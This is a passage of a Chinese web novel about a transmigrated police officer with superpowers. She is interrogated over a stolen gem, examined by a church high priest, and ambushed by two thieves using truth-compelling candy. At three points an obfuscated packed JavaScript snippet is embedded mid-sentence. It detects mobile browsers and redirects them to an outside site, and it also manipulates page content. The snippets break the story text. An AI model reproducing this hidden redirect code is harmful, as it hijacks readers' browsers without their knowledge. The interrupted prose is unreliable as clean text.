可是,云一真切地感觉到手里多了个炙热的东西,是“血泪”上的一颗红宝石。她的手颤抖着,身体里的什么东西在撕裂着她,她的头脑都要裂开了,她死死攥着那“血泪”。她能清楚地感知到那颗宝石,似乎真的化成了血泪融入到她的手掌里。 那黑衣人摸着口袋里的战利品,也发现了这个变故。他想要上前,却被后面赶来的同事几枪给止住了步伐。 后面追上来的一组的几个同事以为黑衣人要伤害云一,三步做两步跨上来,要包围住那黑衣男子。这时,又一个黑衣人抛了一枚疑似炸药的东西过来。 “趴下!” 烟雾散开,黑衣人早已不见踪影。 方才开枪的那个警员踢了一脚那东西,原来只是个烟雾弹。他恶狠狠地看了一眼云一,气急败坏地踢翻了旁边的垃圾桶。 云一看着自己有些颤抖的手,有些分不清方才发生的是幻想还是现实。 心脏还在剧烈的跳动,云一已经无法承受住身体的这种痛苦,她几乎是瘫坐在了地上。看着赶过来的天兰、张照初还有两个领导,云一就算再迟钝也明白,自己闯祸了。而且是大祸…… 4. 审问 夜幕降临,这座城市反而更加明亮。霓虹灯最闪耀之处,莫过于城市里汇聚了各色人的酒吧。 一个穿着黑色帽衫的年轻人走进百丽酒吧,他穿过音乐穿破天际的人群,挡开那些想要拉他去跳舞的男男女女,走到吧台最角落的位置。 年轻人刚一坐下,旁边的同伴便推了一杯酒过来。 “老爷子气坏了吧?”已经换了白色衬衣的江零一副看好戏的样子看向那黑色帽衫。很明显,他也是白天那几个黑衣人中的一个。 黑色帽衫的年轻人头发微卷发,打扮得倒是挺潮,和经常混迹酒吧的年轻人没什么两样。他一口喝掉那杯酒,被辣得直拍桌子。缓过劲之后,这才无奈地应答道:“还打了我好几下出气。” 江零听到此处,忍不住笑出声来。他用他那只有些炫酷的机械手拍了拍黑色帽衫的肩膀,“意料之中。刚才彩发消息说,老头子让我们协助你把那颗丢失的‘血泪’宝石找回来。” “云,你说实话,你是不是偷偷送给那个漂亮女警察了?”江零打趣道。 出乎意料的是,黑帽衫并没有反驳,表情变得有些严肃。 他猛拿起酒瓶又倒了一杯酒,猛地灌了下去。 “零,你说过,你把我找回来的时候我失去了记忆…”黑帽衫看向同伴,眼里浮现出一丝迷茫,“我和她…会不会…” 江零收起了那副调笑的嘴脸,认真想了想,才说道:“那个女警察的确救了你。至于为什么,我想那些警察更想知道,他们也一定能问出来。” “更何况,血泪的事情,她最可疑。”江零举起酒杯看向黑帽衫,“咱们就安心等警官大人们的审讯结果。” 黑帽衫闻言,眼眸低垂,良久才举起杯和另一只杯子碰了一下。杯子相撞,发出清脆的“啪!”的一声。 “啪!” 文件夹被重重地拍在桌子上,看着面前吹胡子瞪眼的顾青,云一没由来的心虚。 “老大…我真的不知道交代什么?我真的就是下意识地救人…” “我不认识那人…真的…” 云一此时此刻已经快要崩溃了,她纯粹是下意识的反应。你要说为什么,她也不知道。至于那个人为啥也这么做,那她更不知道了。 “你在想什么?”顾青捕捉到了云一愣神的一瞬间,立马紧咬着不放。 “没…没什么…” “说!”顾青气得把桌子拍得震天响。 “我…我就是在想按照小说的套路,那我俩就是一见钟情了呗。否则怎么解释…” 眼看顾青的怒气越来越大,马上就要冲动来打人了,云一心虚得声音越来越小… “老大!冷静!冷静!”张照初和一个男同事及时地抱住了要打人的顾青。 “顾青,你够了没有?”一旁的裴英轩有些不耐烦地看着顾青,眼里的警告之色连云一看了都不禁心里打颤。 但死对头不愧是死对头,顾青不仅不看裴英轩的脸色,反而还和她叫嚣:“应该是你够了没有?你们要问话,行,我问。我的异能本就是测谎,她又没说谎,你们还要问什么呢?” 裴英轩几乎要翻白眼了,“这次案件涉及到教会和财团,其中的利害关系还用我说吗?” “做一个脑搜索和超能力检测,比她说一百句话都强。” “你这还是质疑我的能力!?”顾青简直要拍案而起了。 可惜,裴英轩根本不吃这一套,她冷静地对门外一组的两个组员招了招手:“请顾组长出去。” 刚好,这两位一组组员正是天兰的男一号男二号。云一就看着她心里的两位准姐夫一左一右地把她老大架出去了。 他们出门的时候,门被打开了一条缝,云一恰好瞥见站在门外的天兰和张照初。 她在看到天兰的一瞬间,一下子就静了下来。有大女主姐姐在,能有什么问题?再说了,她的确什么也没做啊。 是吧? “madam,”天兰一个箭步走了进来,她深深看了云一一眼,才平稳气息对着裴英说,“云一从基地出来时,就因为做脑搜索,造成了大脑损伤。她当时就昏死过去了,休养了三天三夜才醒过来。眼下才过了一个月,若是再做一次,我怕我妹妹受不了。” 听了这话,云一才知道,原来原身当时是死于这个东西!?那她再做一次,是不是会回去?或者,直接也和原身一个下场? 裴英轩看了一眼脸色有些煞白的云一,那张冷冰冰的脸略微缓和了一些,她看向天兰:“并不是我要为难她,天兰,你妹妹来了不过一个月,她不清楚,你还不清楚吗?若是不做,她将会面临什么?” “财团也好,教会也好,谁是好惹的?” 听到这话,就连刚被拉出去的顾青都安静了。 气氛变得有些奇怪,云一看着大家,心里也知道躲不过去了。她挤出一丝笑,拉了拉天兰的手,“姐,我真的什么也不知道啊,做就做呗。” 云一感觉到天兰反握住了她的手,她心里莫名升起一股酸意,眼里突然有点湿润。深呼一口气,将眼泪憋了回去,有些怂地开口:“我保证配合,能不能让他们操作的时候小心一点,我还不想死。” “死什么死?” 一个戴着眼镜的白大褂终于看不下去了,从后面看戏的位置走了过来,拍了拍云一的肩膀,“我的技术好着呢,别怕啊。” 云一一下子被这人给吸引住了,在这个也算是有编制的地方,这人还挑染了几绺白发,这么酷? “伍言,拜托了。” “放心吧。” 云一被天兰和这位白大褂夹在中间,她扬起头看着握住她左手的天兰,又转过头看着拍着她右边肩膀的白大褂。传说中的温柔医生?准姐夫三号? 扬起头,仔细端详了一下,这位白大褂气质不俗。虽然和她想象中的温柔医生相差甚远,但是看这刀削似的下颌线,看这深邃的大眼睛,看这酷酷的白色挑染……还真是别一番风味。天兰可是大女主,什么类型的男人hold不住?这种类型的,其实也不错。 这么想着,心里的恐慌倒是少了几分。 监测室里另一个白大褂见状,也起身走了过来,帮着将不相关的人给送了出去。终于,监测室就剩云一和两个白大褂了。 “你好,云一警员。”那位挑染的白大褂看向云一,递给她一杯温水,用很轻松的语气介绍道,“我是伍言,这位是我的助手,关小小。” 站在一旁的另一个白大褂向云一点了点头,就走进了监测室里的另一个房间。 “她去调仪器了,你还可以休息一儿。”伍言坐到旁边一把带轮滑的办公椅上,滑着椅子就滑到了另一张办公桌那边,拿了一个保温杯,又非常顺滑地滑了过来。 他举起保温杯和云一碰了一下杯,仿佛喝酒一般的享受,“放轻松,脑搜索是一项非常成熟的技术,你上次的事情,应该只是意外。” 云一见他这状态,怀疑他喝了酒。趁他不注意的时候伸长脖子去看了一眼他的保温杯,还冒着热气,也没有酒味。这应该就是热水啊,怎么这人喝出一股子的酒味。这位姐夫三号是有点东西啊。 “脑搜索就相当于用机器连接你的大脑,然后在里面搜索自己想要的东西。” 伍言倒没发现云一的这些小动作,只一味地作专业解释:“人的大脑也好,精神领域也好,都是非常脆弱的地方。你上次那种状况,要么是操作不当,要么是连接次数过多,或者那段时间你的精神领域本身就不稳定。” “总之,那只是意外,明白吗?” 云一似懂非懂地点点头,反正不管怎样她都得做。 “好了。”关小小从房间里出来,冲伍言点了点头。 “走吧。”伍言站起身来,冲云一做了个“请”的姿势。 里面的房间也不算大,一台看起来像是作核磁共振的仪器,一台按钮很多、显示了许多数据 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081474|195339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的机器,还有一张不大的桌子,这就是全部了。 “躺上去就好。” “别怕,尽量放松,就当睡觉。” 机器连接到身上,云一也说不出来什么感觉,不一会儿,只觉得脑袋像是要爆炸似的疼。 “我疼!我疼!!!” 她挣扎着想要从那仪器中起来,挣扎间,手里似乎有一个滑溜溜的东西从手心里滑了出来。滑溜溜的,冰冰凉凉的,圆滚滚的。 似乎是一个小球。 不,是那滴血泪,那颗血泪宝石。 那东西像一条小鱼,从手心往上游走。 手臂,胳膊,心,肝,脾,肺,肾…… 它要游向更深处。 云一觉得自己仿佛处于一片迷雾之中,身处其中,她却出乎意料的平静。她静静地感觉着这条“小鱼”的游动,它一会儿到了这儿,一会儿到了那儿。 那“小鱼”是那么的诱人…… 诱人?这个想法是从她的脑海里冒出来的,但,她真真切切地知道,这不是她的想法。 那个家伙,那个隐藏在她身体里的家伙,似乎蠢蠢欲动了。 心跳又在猛烈地跳动,又是那不属于她的心跳声。 云一有种怪异的冷静,她静谧地感受着那滴“血泪小鱼”的流动,当它流动到心口时,她一把按住。 “砰砰砰” 胸口闷得发慌,她却感觉到手里有种力量,她凭着这股子力量,一把将那滴血泪扯了出来。鱼饵已然出来,咬着鱼饵的大鱼怎肯松口。 那滴血泪在空中跳了不到两秒钟,一个黑色影子从云一的身体里钻了出来,一口吃掉了那滴血泪。 云一觉得头皮有些发麻,眼睛却死死地盯着那东西。那东西吞下那血泪之后,它的眼睛竟然也变得血红。它转过身,和云一四目相对。 那就是一团影子,没有形状,没有触觉,只一双血红的眼睛在黑影里闪光。 那双眼睛紧盯着云一,红光一闪,竟然钻进了云一的眼睛里。 “啊…” 云一闷哼一声,身体一弹,一下子坐了起来。她摸了摸自己的眼睛,视线逐渐清晰… “醒了?”伍言连忙吩咐关小小,“她醒了,快给她打一剂营养剂。” 一只手握住了那针头。关小小抬头看向云一,她的额间还有冷汗,脸色也不太好,可是那双眼睛,却让人有些不寒而栗。是错觉吗? “你的身体太虚弱了,这东西能让你瞬间恢复,没坏处的。”伍言立马解释道。 “哦,好。”云一机械地点点头,任由关小小给她注射。一剂针下去,身体似乎好了许多。 云一不由得屏住了呼吸,因为,那一团黑色的东西化作一个手掌大小,此刻正坐在伍言的肩头,似乎还和惬意地甩着尾巴。 云一任由伍言和关小小对她的身体检查了一遍,她这才确定,他们看不见。 那黑乎乎的一团的形态还在变化,它变出一条灵活的长尾巴,撒娇似地绕到她的手腕上。 见她不理会,又滑到了她的脚边,和她的影子融为了一体。 “怎么了?” 伍言见云一发呆,询问道:“还有哪里不舒服吗?” 云一摇摇头,又点点头,“就是有点头晕,正常吗?” “正常。”伍言温和地对云一笑了笑,“刚做完是这样,多休息就好了。” “结果是什么?”云一有些忐忑地问出了这个问题。 “你安全了,云一警员。”伍言很郑重地对她说道,“我马上就把报告发给裴组长,放心吧。” 看来他们没有发现那个黑色东西和那颗血泪宝石的事情,云一舒了一口气。 “倒是有个好消息,”伍言笑道,“云一警员,你的异能从e级升到了d级,或许这是你能在大神官施展‘失效’异能时,还能使出异能的原因?” 云一有点没反应过来,居然升级了? 5. 大神官 配合着伍言把剩下的一些程序走完之后,云一这才被伍言请出监测室。走到门口,云一做了一下心理建设,她露出一个阳光无比的笑容,对着门口那些关心她的亲人们大声说道:“兄弟姐妹们,我没事了!” 一阵寒风吹过,想象中应该站在门口的几个人,消失了。两个小时前,阵仗还那么大,搞得她好像要去赴死一般。两个小时后,人都没了,这…… “你干嘛呢?” 伍言好奇地伸出头瞅了一眼,带着一点阴阳怪气的口吻嘲笑道:“云一警员,你不会以为,咱们特调处清闲到可以站在门口等一个刚转正的新人警员做检测吧?” “……” “大家都很忙的。”伍言冲她直摇头。 云一尴尬地笑了笑,连忙说了句,“您忙吧,我走了。”说完,飞也似的逃离了现场。 回到二组的办公室,发现一个人也没有。 “下午好,云一警员。特调处全体成员已到会议室开会,请您迅速前往。” 阿波罗的声音响起。 云一这才发现,手环上确实收到了这么一条信息。她先给天兰发了一条消息报平安,然后又给她的好搭子张照初发了一条消息。 “to张照初: 我监测完了,没什么大事。我现在过来,给我留一个最角落的位置!” 刚一发出去,就收到了回信。 “from天兰: ??” “from张照初: OK!” 走到会议室门口,云一轻轻推开门,看见裴英轩和顾青又在争吵些什么,其他组员则正襟危坐地等着上面领导的指示。她找了一圈,终于在最角落的位置看见张照初。 仿佛有心灵感应一般,张照初也恰好抬头看向她,满脸高兴地冲她指了指他旁边的位置,示意云一赶紧过去。云一刚想进门,就见张照初突然脸色一变,一本正经地转过头去坐好。 作为对摸鱼搭子的了解,云一直觉不妙,立马停止了动作。 “你好,云一警员。” 一个亲切的男声在耳边响起。 云一转过头,只见那位英俊又亲切的大神官正站在她身边,微笑着看着她。 大神官身边还站着他们特调处的副处长,穆怀。与大神官的亲切不同,穆怀身上有一种身居高位的威严。穆怀今年才40,算得上是年轻有为。处长已处于半退休状态,她和另一位副处正在争夺正处的位置。在这种关键时刻,任何一点差错都会影响到最后的结果。 此时此刻,穆怀副处陪着大神官出现在这里,还和云一这个在任务中失误的小警员搭话。饶是云一这种办公室小白,也知道,事情真有点不太妙。 “别害怕,监测结果我们都收到了,云一警员是清白的。”大神官的语气温和,“听说你是从我们教会的基地出来的?” 云一点了点头。 “怪不得,我看云一警员很亲切呢。” 看着大神官那一张看起来无比亲切的脸,以及出现在他脸上那个再温和不过的笑,云一不由得想起之前张照初说的话。 “教会的神使们,都有精神控制的异能,更厉害的神使,就连他的外貌,他的一言一语,都能进行精神控制。” 云一断定,大神官绝对是个中高手。 “我听说云一警员在出基地的时候,因为监测而昏倒了?” “啊……那个啊,”云一在发呆的时候被猛然点名,她愣了一下,才含糊地答了一句,“已经没事了。” “今天的监测没事吗?”大神官的眼睛一直注视着云一,很是关心的样子。 “多谢大神官关心,我没事的。” 大神官还是那么温和地看着云一,眼眸一闪,他突然转向一旁的穆怀副处长,还是那样温和地笑着说道:“我还是有些担心云一警员的身体,不如让我为云一警员做一次‘精神安慰’吧。” “这样,我们都安心一些。” 说到这句话的时候,大神官又看向云一,仿佛话里有话。 可能是云一自己心里本就有鬼,听到最后一句,她总觉得大神官那双好看的眼睛里藏着对她的审视。 一旁的穆怀副处长终于开口,“那就麻烦大神官了。” “云一警员,请全力配合。” “是。” 穆怀副处长将他们引到了一间会客室,之后,便走了出去。 云一四处看了看,这里并没有仪器,她有些茫然地看向大神官,“大神官,这里好像没有仪器……” 听到这话,大神官笑了,他做了个“请”的姿势,温和地说道:“先坐下吧,别拘束,就当聊聊天。” “好。” 云一连忙坐下,整个身子崩得笔直。 “别紧张。” 看着大神官那张又好看又亲切的脸,云一突然冒出来一个念头,既然这是以天兰为中心的大女主小说,那长得这么好看的大神官,不会也是喜欢天兰的众多男主之一吧? “云一警员,看着我。” “啊?” 毫无预料地对上大神官的眼眸,那双眼眸里映出她的模样。 一瞬间,她似乎被拉进了一个封闭的空间。她站在了一面巨大的镜子面前,看着镜子里的自己,那么熟悉,那么陌生。突然,镜子里仿佛有万千条淡蓝色的触手从镜子里涌出来,钻入了她的脑子里。 而镜子里的那个她,就那么静静地看着,漠不关心地看着。 那些触手在寻找着什么,他们要寻找这具身体里的秘密,要找到被隐藏的想法。 云一在沉沦的同时,挣扎着保持着最后一丝清醒。 那颗血泪宝石,那团黑色的东西…… 还有,她是穿越者的秘密…… 绝对不能被知道。 在蓝色触手要揭开秘密的档口,一团黑色的东西挡在了它们面前,三下二除五,将蓝色触手全都打了个死结丢回镜子里。镜子里的那个云一被这一变故吓得退了一步。 镜子里的“云一”抬起头,镜子外的云一就那么看着她,静静的,漠不关心的。 一团黑雾猛地飞进镜子里,将镜子里的“云一”缠绕住,几秒后,黑雾消散。 云一走近,将镜子擦了擦,抬头注视着镜子里的自己。那双熟悉的眼眸突然变成血红色,仅一瞬,又恢复了正常。 云一揉了揉眼睛,仿佛睡了一觉。她睁开眼,只见身旁的大神官还是一副温柔可亲的样子,静静地看着她。只是她注意到,大神官的额头渗出了汗水。 “怎么样?”大神官关切地看着云一,“是不是感觉精神好了许多?” “嗯!”云一活动了一下身体,“就好像睡了一天一夜,现在我感觉精神充沛!” “那就好,以后若是有需要,可以随时找我做精神安抚。” 看着大神官真挚的眼神,云一又冒出那个奇怪的想法了,如果大神官也是天兰的男主角……那这个准姐夫可太好了!不过,大神官真的没发现她身体的异常? 云一有些忐忑地问道:“大神官,我是不是有什么问题啊?” “的确和以前不一样了,”大神官看着云一霎时间变得煞白的脸,忍不住笑道:“现在你的异能从e级变为d级了,自然和以前大不相同。” 见大神官如此说,云一也不敢再多问。 门外适时响起敲门声,大神官起身开门,除了意料之中的穆怀副处,裴英轩和顾青也等在了门外。其他人还好,顾青几乎是在看到云一的瞬间就恨铁不成钢地瞪了她一眼。云一有些莫名其妙,直到顾青过于明显地挤眉弄眼喊她赶紧从沙发上滚过去,她才立马弹起身,跑了过去。 “大神官,如何?”穆怀副处表情严肃地看着大神官。 “云一警员的身体没有大碍,而且云一警员的异能的确从e级提升为d级了。” “那云一在您的异能范围内使出异能,是怎么回事?”顾青沉不住气,见大神官没有将云一看作嫌疑人,立马提出疑问。 大神官想了想,才说道:“当时云一警员和我的距离很微妙,处于在异能生效范围的边缘。所以……应该也是正常现象吧。” “不管怎么说,云一的确因为自己的失误,错失了抓捕疑犯的机会。”穆怀副处义正严辞地说道。 “云一警员也是救人心切,一时善心。”大神官真挚地看向穆怀,“还请穆处能宽大处理。” 穆怀副 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081475|195339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处没有多说,只是和大神官点头示意。 “我送大神官出去吧。” 两位大人物互相寒暄着要离开,裴英轩也赶紧跟了过去。顾青等他们一转身,立马指着云一的鼻子就要臭骂一顿。 还没等顾青的话说出口,大神官一个转身,将顾青给吓回了方才的恭敬模样。 大神官见状笑了笑,他看向云一,笑着叫云一的名字:“云……一。” “到!” “云一,你的名字很好听。”大神官的眼神有一瞬间的变换,但立马又变回了以往的温和亲切。 “愿真神保佑你。” 这么一通话,倒是显得对云一格外不同。等几人走远,顾青这才问道,“你什么时候讨了那位大神官的欢心?” 云一摇了摇头。 “老大……我保证,在接下来的工作我一定好好听你的话!绝对绝对不闯祸了!” 云一先下手为强,噼里啪啦说了一堆话,她想着只要认错态度好,顾青总不会太生气吧。 等了半天,没听到顾青的回答。她抬起头,望见顾青无可奈何的眼神。顾青从口袋里拿出两块水果糖,丢了一块给云一,自己又剥开一块丢进嘴里。 在橘子味的糖果在嘴巴里散发的时候,她听见顾青终于开了尊口,“接下来?哼……虽然证明你和嫌疑人没有勾结,但是你自己也知道闯祸了吧?” 顾青大手一挥示意她跟上,她跟着顾青走进电梯,顾青才慢吞吞地说:“处分是一定有的,还要停职调查。” “啊?”云一脑子一懵,“不是都查清楚了……” 顾青看傻子似地看着云一,语气全是不耐烦,“那条项链没找回来,嫌疑人也没抓到,这件事就没完。而你,也就不算清白。明白吗?” 云一似懂非懂地点点头。 回到二楼办公室,张照初第一个冲了过来,“一一,没事吧?” 云一刚想和他大说特说,一瞥间顾青的眼神,就又耷拉了下去。她只对张照初笑着摇摇头。 “听说大神官还给你做精神安抚了?真的假的。” 云一又想兴奋地和他讲一讲,听见顾青咳了一声,又把话咽了回去。 “还不滚去开会!”顾青冲张照初吼了一句。 见顾青脸色不好,张照初也不敢再多做动作,和云一无声比了一个“别理他“的手势。 果不其然,没过多久手环上就传来让她停职的消息。 云一心情有些复杂,看着大家都着急忙慌地去开会。她居然产生了一种悲凉的感觉。 上班,很累很烦。但是,没班上,也很烦啊!想到这里,云一叹了一口气,将换下的制服放进储物柜,“啪”地一声关上了柜门。 “啪!” 一个文件袋被放在了酒吧的吧台上。 江零看向黑帽衫,眼里有些怪异:“那个女警的资料。” “你什么眼神?”黑帽衫感觉到江零的古怪,他一边将文件袋里的储存卡拿了出来,一边歪着头问道:“问出了什么?血泪在她身上吗?” 江零摇摇头,“没有,听说连大神官都出动了。” “云,你确定是那个女警察拿的?” 黑帽衫有些疑惑,他几乎都没有犹豫,十分肯定地说:“我确定,就是她。” 说着,黑帽衫就要读取储存卡的内容,却被江零拉住了手。 黑帽衫不解,看向江零。却见他神秘地笑了笑。 “云,还记得你刚被我捡回来的时候,你什么也不记得,只记得你的名字。” “是啊,怎么了?” “你还记得你是怎么介绍你的名字的?” 黑帽衫更疑惑了,“你不是让我别再这么说了吗?” “现在就我们两个人,没关系。”江零摇了摇杯子里的酒,看向黑帽衫,眼里有种看穿一切的从容。 黑帽衫想了想,才把那句几乎刻在他脑子里的话吐了出来,“我叫云石楠,云一的云,石楠树的石楠。” “你现在可以看了。”江零将那杯酒一口喝掉,看着黑帽衫,若有似无地叹了一口气。 储存卡被读取,跳入眼帘的是第一行字。 “姓名:云一” 6. 追杀 这还是云一穿过来之后,第一次没和天兰一起下班。 不能坐天兰炫酷的机车,云一只得去坐城市公交。 走到悬浮列车站,只见每个安检口都站着一个长手长脚的安检机器人。云一刷了一下手环,就扣掉了车费。 这手环算是大家的硬通货,可以接送信息,还可以付钱,甚至证明自己的身份。不过这也不是每个人都有,有些公民用的还是普通的手机。 进入车厢,云一立马找到位置坐下。列车在城市上空飞驰,望向窗外,将这个光怪陆离的城市都囊括眼里。 因为是工作日,列车里的人也不算多。坐在她身边有好几个人都带着机械义肢,看起来都不太显眼,和他们的身体融入得很好。 云一有些好奇,但又不敢太明目张胆地去看。她有意无意地打量着身边人的机械义肢,扫了一圈,眼里的余光被一块鲜艳的滑板截住。 她顺着滑板往上一看,拿着滑板地是一个穿着卫衣,戴着帽子的年轻男孩。那男生的帽檐压得很低,看不清样貌。只是依稀可以看见他的帽檐边露出几缕卷发。他旁边还站着一个同伴,也是差不多的打扮。两人身上还带着不少项链、耳环,典型的潮男打扮。 仔细看,另一个滑板男的左手装了机械手臂,虽然被衣袖遮盖住了手臂,但那暴露在外的机械手指看起来还是有几分炫酷的。 “列车即将到站,列车将打开左侧车门。” 云一收回目光,拿起随身的斜挎包,跟着人流走了出去。 手环里收到好多条信息,天兰的,张照初的。 她一边走路,一边给天兰回信息。 她走到一个小型的儿童乐园旁边,这里有一些秋千、滑滑梯之类的设施,但更受欢迎的还是隔壁那个滑板场。很多看起来很潮的年轻人都在那里秀滑板,还有一些半大的小孩也在一旁欢呼。 云一干脆坐在了秋千上,专心地和天兰发信息。 “from天兰: 回去好好休息,什么也别想,就当放假。” 云一想了想,随手发了一条:放心吧。 “哇哇哇!” 隔壁的欢呼声引起了云一的注意,她抬头一看,原来是有个高手玩出了高难度动作。 人群中,两个滑板少年挎着一个小小的外卖箱,踩着滑板,穿梭在那些孩子中间,似乎在售卖些什么。云一注意到,那些孩子拿到一个有点像冰棍一样的彩色长条,往脖子上某个地方怼了上去,之后要么露出欢喜的笑,要么狂抹舌头,仿佛吃了什么难吃的东西。更有趣的是,那些孩子还开始不停地发出动物的声音。 “喵喵喵~” “汪汪汪~” “啾啾啾~” 吵闹得很,也好玩得很 两个滑板少年将滑板场那边的顾客都销售了一遍,又往云一这边滑了过来。他们走近,云一才发现好像是列车上的那两个人。 他们一左一右交替着绕了一个圈,绕到云一身边,朝她指了指外卖箱:“炫彩果味动物糖,来一个吗?” 云一眼睛一亮,这种糖可不是一般的糖果。这种糖有点像是一个u盘,它是通过人身体上的接口,让人产生吃到糖的感觉。据说,这种感觉十分强烈,会让人有一种在水果里游泳的爽感。不过,这种糖的口味是随机的,虽然都是水果味,但是堪比一百个新鲜柠檬的味觉感官刺激却会让人酸的想哭。 而且,这种糖还是D乐园推出的恶作剧系列糖果,服用的人会不停地模仿动物的叫声。 这种糖当年推出的时候,可算是火遍全网呢! 这种好东西,云一早就想试试了。 “来一个!”云一兴冲冲地用手环碰了一下那人的小型收款器,只听“滴”的一声,就完成了支付。 云一随机挑了一个,拿起来一看,这种糖的颜值是真的很高,似乎还能闻到淡淡的果香呢。她摸了摸自己的脖子,一个月前,她才做了手术,在那里做了一个接口。毕竟在这个世界,没有接口真的极其不方便。 云一将炫彩糖果插在接口上,一股香甜的草莓味铺天盖地地向她袭卷而来,她仿佛陷入了一个草莓的世界。她的嘴巴里全是草莓的味道,甚至还感觉到唇齿间流淌着草莓的汁水。 她的嘴里也开始不自觉地发出声音:“咩咩咩~” 在云一如痴如醉地享受着糖果的时候,两个少年一左一右将云一包围。 她转过头,那个有机械手臂的少年坐在了她旁边的秋千上,很是欢快地荡着秋千。 让她感觉不对劲的,是另一个少年。他站在了她的身旁,冲她露出一个恶作剧般的笑,然后将她的秋千一下又一下地推高。 帽檐在此刻被抬高,露出少年的面容。那位坐在秋千上的机械手男,正是江零。 而站在云一身旁推秋千的那位,自然是云石楠了。 “你好呀,警察小姐,你叫什么?”坐在秋千上的江零笑眯眯地问道,说着他的秋千飞得更高了。 “云一。”原本嘴里还在不停地“咩咩咩”,此刻却变成了这两个字 “云一警官,今天你和大神官见面了?”云石楠在接住云一的一瞬间,笑着问出口。 “是。” 云一意识到不对劲,她想说的不是这个啊!她在干嘛!这俩人! “大神官都没发现你拿了血泪?” “没有。” 这两个字一出口,云一就知道坏事了!这两人!这两人! “哇哦,云一警官,你这么厉害啊!” 秋千又被推远,云一意识到不对,是那该死的糖!云一立马将那糖拔掉,一把丢了。因为她放开了一只手,她整个人几乎要甩出去了。 在即将甩出去的瞬间,秋千顺着惯性荡了回来,她被牢牢接住。恰好对上那双野兽般的眸子,看着那头打理得很好的卷毛,云一将眼前的人和那个暗影的嫌疑人重合在了一起。 妈呀! 随即耳边响起问话,“那你把’血泪‘藏在哪里了?” 果然这一次她没有再乱说了。 只见她身旁那个黑衣少年以不可思议的速度又拿出一个炫彩水果动物糖,插入她的端口。她想取下,却被那人用手按住。 “我身上。” 嘴巴比脑子先一步行动,云一震惊地捂住嘴。 “具体在哪儿呢,总不能让我们两个大男人来搜身吧,警察小姐?” 坐在秋千上的江零还是慢悠悠地荡着秋千,一副看云一作困兽之斗的模样。 “在我身……呜呜呜……上…呜呜呜…” 云一一个猛翻顺着秋千带着自己翻了过去,摆脱了拿黑衣少年的束缚。趁着那两人愣神的一秒钟,发了疯一般地拔腿就跑。她一把丢掉插在她端口的东西,立马要给天兰打电话,却意外地发现,这手环没信号了!抬头,那个卷毛提着一个信号屏蔽器冲她摇了摇头。 这人怎么这么快? 但她没放弃,这个手环是联邦政府斥巨资打造的,没信号的时候也可以发送信息给紧急联系人。云一毫不犹豫地发了SOS给天兰,她相信,大女主绝对值得信赖。 掉头,那个机械手男正在后面等她撞上来。 云一立马紧急拐弯,钻进隔壁给小朋友设置的小型迷宫。 因为有全息投影,想要出去也不简单。 “云一警官,‘血泪’到底在哪儿?”云石楠几乎是瞬移到了云一面前,他气息平稳地看着云一,嘴角还带着笑意。 云一都要吓哭了,这人的速度也太快了吧! “在我身上。” 话刚出口,云一立马捂住了嘴。她明明想说的是“不知道”。那东西不是都已经拔掉了吗?到底怎么回事?难道说,是和顾青一样的异能。只要启动异能,对方说出的话就只能是真话。那糖的作用原来是让她不停说话啊! 想通这一点云一扭头就跑。 救命啊,天兰啊,姐姐啊,快来啊!还有特调处的兄弟姐妹们!快来啊! 跑得太快,不一会儿云一就累得只能扶着墙跑跑停停。喘息的片刻,手边那块石头逐渐显示出一只机械手。 “警察小姐,累了就歇着呗。”江零从石头堆里走了出来,仿佛他是从石头变成了人。 变色龙?这不会是他的异能吧? “我也懒得废话了,把东西交出来吧!” 本来云一又故技重施,来一招拔腿就跑。却见腿上缠了一圈铁链,“嗖”地一下,就把她拖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081476|195339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了回去。 “我耐心不好,别逼我打女人。” 江零的机械手又甩出一条铁链,将云一双手缠绕,绕过旁边的树杈,将她整个人绑在树干上。说着,铁链就肉眼可见地越勒越紧。 “再不说话,这东西可就要嵌入你的血肉了…” 云一感觉心脏又开始猛烈地跳,疼痛之间,余光瞥到脚下的影子似乎跳出一小团黑乎乎的东西… “零!”云石楠下意识喊住了江零的名字。 江零眼珠子一转,转头看看云一又看看云石楠,“真老相好?” “行行行,不伤人。”江零有些无奈。“但是得让她把血泪交出来。” 云石楠深知江零半点都不拿人命当回事,他想知道的事情还没问,因此才会下意识阻止。现在见江零如此说,倒是罕见地有些尴尬。 尤其是他发现刚才还在哭闹挣扎的云一,此时此刻一脸茫然地表情看着他,似乎也在震惊于他的反应。他真是想抽自己两巴掌了。 云一的确惊呆了,看这剧情,难道这人和原主还真是老相好?继而又自然而然地想到,这俩反派还挺帅的,按常理,应该都喜欢女主。 那这剧情要么是姐妹为了男人反目,要么妹妹和这人只是配平文学。 